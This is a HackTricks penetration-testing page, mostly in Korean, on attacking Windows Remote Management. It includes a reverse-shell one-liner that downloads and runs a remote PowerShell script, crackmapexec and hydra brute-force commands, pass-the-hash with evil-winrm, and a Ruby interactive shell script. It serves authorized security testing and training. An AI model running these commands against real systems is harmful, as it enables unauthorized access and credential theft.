5985,5986 - Pentesting WinRM

Support HackTricks

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights Engage with content that delves into the thrill and challenges of hacking

Real-Time Hack News Keep up-to-date with fast-paced hacking world through real-time news and insights

Latest Announcements Stay informed with the newest bug bounties launching and crucial platform updates

Join us on Discord and start collaborating with top hackers today!

WinRM

Windows Remote Management (WinRM)Microsoft에서 Windows 시스템의 원격 관리를 가능하게 하는 프로토콜로 강조됩니다. HTTP(S)를 통해 SOAP를 활용하여 작동합니다. 본질적으로 WMI에 의해 구동되며, WMI 작업을 위한 HTTP 기반 인터페이스로 나타납니다.

기계에 WinRM이 존재하면 PowerShell을 통해 간단한 원격 관리가 가능하며, 이는 다른 운영 체제의 SSH와 유사합니다. WinRM이 작동 중인지 확인하려면 특정 포트의 개방 여부를 확인하는 것이 좋습니다:

  • 5985/tcp (HTTP)

  • 5986/tcp (HTTPS)

위 목록에서 열린 포트는 WinRM이 설정되었음을 나타내며, 원격 세션을 시작할 수 있는 시도를 허용합니다.

WinRM 세션 시작하기

PowerShell을 WinRM에 맞게 구성하기 위해 Microsoft의 Enable-PSRemoting cmdlet이 사용되며, 이는 컴퓨터가 원격 PowerShell 명령을 수락하도록 설정합니다. 권한이 상승된 PowerShell 접근을 통해 다음 명령을 실행하여 이 기능을 활성화하고 어떤 호스트든 신뢰할 수 있도록 지정할 수 있습니다:

Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *

이 접근 방식은 trustedhosts 구성에 와일드카드를 추가하는 것으로, 그 의미 때문에 신중한 고려가 필요한 단계입니다. 또한 공격자의 머신에서 네트워크 유형을 "Public"에서 "Work"로 변경해야 할 수도 있음을 언급합니다.

게다가, WinRM은 다음과 같이 wmic 명령을 사용하여 원격으로 활성화할 수 있습니다:

wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"

이 방법은 원격으로 WinRM을 설정할 수 있게 하여, 멀리서 Windows 머신을 관리하는 유연성을 향상시킵니다.

구성 확인

공격 머신의 설정을 확인하기 위해 Test-WSMan 명령을 사용하여 대상이 WinRM이 제대로 구성되었는지 확인합니다. 이 명령을 실행하면 프로토콜 버전 및 wsmid에 대한 세부정보를 수신하게 되며, 이는 성공적인 구성을 나타냅니다. 아래는 구성된 대상과 구성되지 않은 대상의 예상 출력 예시입니다:

  • 정상적으로 구성된 대상의 경우, 출력은 다음과 유사하게 나타납니다:

Test-WSMan <target-ip>

응답에는 프로토콜 버전과 wsmid에 대한 정보가 포함되어야 하며, 이는 WinRM이 올바르게 설정되었음을 나타냅니다.

  • 반대로, WinRM이 구성되지 않은 대상을 위해서는 그러한 세부 정보가 없으며, 이는 적절한 WinRM 설정이 없음을 강조합니다.

명령 실행

대상 머신에서 ipconfig를 원격으로 실행하고 그 출력을 보려면 다음을 수행하십시오:

Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]

현재 PS 콘솔의 명령을 실행할 수 있습니다 _Invoke-Command_를 통해. 로컬에 _enumeration_이라는 함수가 있고 이를 원격 컴퓨터에서 실행하고 싶다면, 다음과 같이 할 수 있습니다:

Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]

스크립트 실행

Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]

리버스 셸 얻기

Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}

PS 세션 얻기

인터랙티브 PowerShell 셸을 얻으려면 Enter-PSSession을 사용하세요:

#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)

세션은 "희생자" 내부의 새로운 프로세스(wsmprovhost)에서 실행됩니다.

WinRM 강제 열기

PS 원격 및 WinRM을 사용하려고 하지만 컴퓨터가 구성되지 않은 경우, 다음을 사용하여 활성화할 수 있습니다:

.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"

Saving and Restoring sessions

작동하지 않습니다 만약 언어가 원격 컴퓨터에서 제한되어 있다면.

#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1

이 세션 내에서 _Invoke-Command_를 사용하여 PS 스크립트를 로드할 수 있습니다.

Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1

Errors

다음 오류가 발생하면:

enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.

클라이언트에서 시도하십시오 (정보는 여기에서 확인):

winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'

경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 HackenProof Discord 서버에 참여하세요!

해킹 통찰력 해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요.

실시간 해킹 뉴스 실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요.

최신 공지사항 새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.

오늘 Discord에서 저희와 함께하고 최고의 해커들과 협업을 시작하세요!

리눅스에서 WinRM 연결

브루트 포스

주의하세요, winrm을 브루트 포싱하면 사용자가 차단될 수 있습니다.

#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt

#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm

evil-winrm 사용하기

gem install evil-winrm

문서를 github에서 읽어보세요: https://github.com/Hackplayers/evil-winrm

evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.'  -i <IP>/<Domain>

evil-winrm를 사용하여 IPv6 주소에 연결하려면 _/etc/hosts_에 도메인 이름을 IPv6 주소로 설정하는 항목을 만들고 해당 도메인에 연결합니다.

evil-winrm으로 해시 전달하기

evil-winrm -u <username> -H <Hash> -i <IP>

PS-docker 머신 사용하기

docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds

루비 스크립트 사용하기

코드 출처: https://alamot.github.io/winrm_shell/

require 'winrm-fs'

# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
# https://alamot.github.io/winrm_shell/


conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)


class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end


command=""
file_manager = WinRM::FS::FileManager.new(conn)


conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end

Shodan

  • port:5985 Microsoft-HTTPAPI

References

HackTricks 자동 명령

Protocol_Name: WinRM    #Protocol Abbreviation if there is one.
Port_Number:  5985     #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment        #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.

sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’

https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/

ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory        or -s to upload scripts (sherlock)
menu
invoke-binary `tab`

#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))

https://book.hacktricks.xyz/pentesting/pentesting-winrm

Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}

경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 HackenProof Discord 서버에 참여하세요!

해킹 통찰력 해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요.

실시간 해킹 뉴스 실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요.

최신 공지사항 새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.

오늘 Discord에 참여하여 최고의 해커들과 협업을 시작하세요!

HackTricks 지원하기

Last updated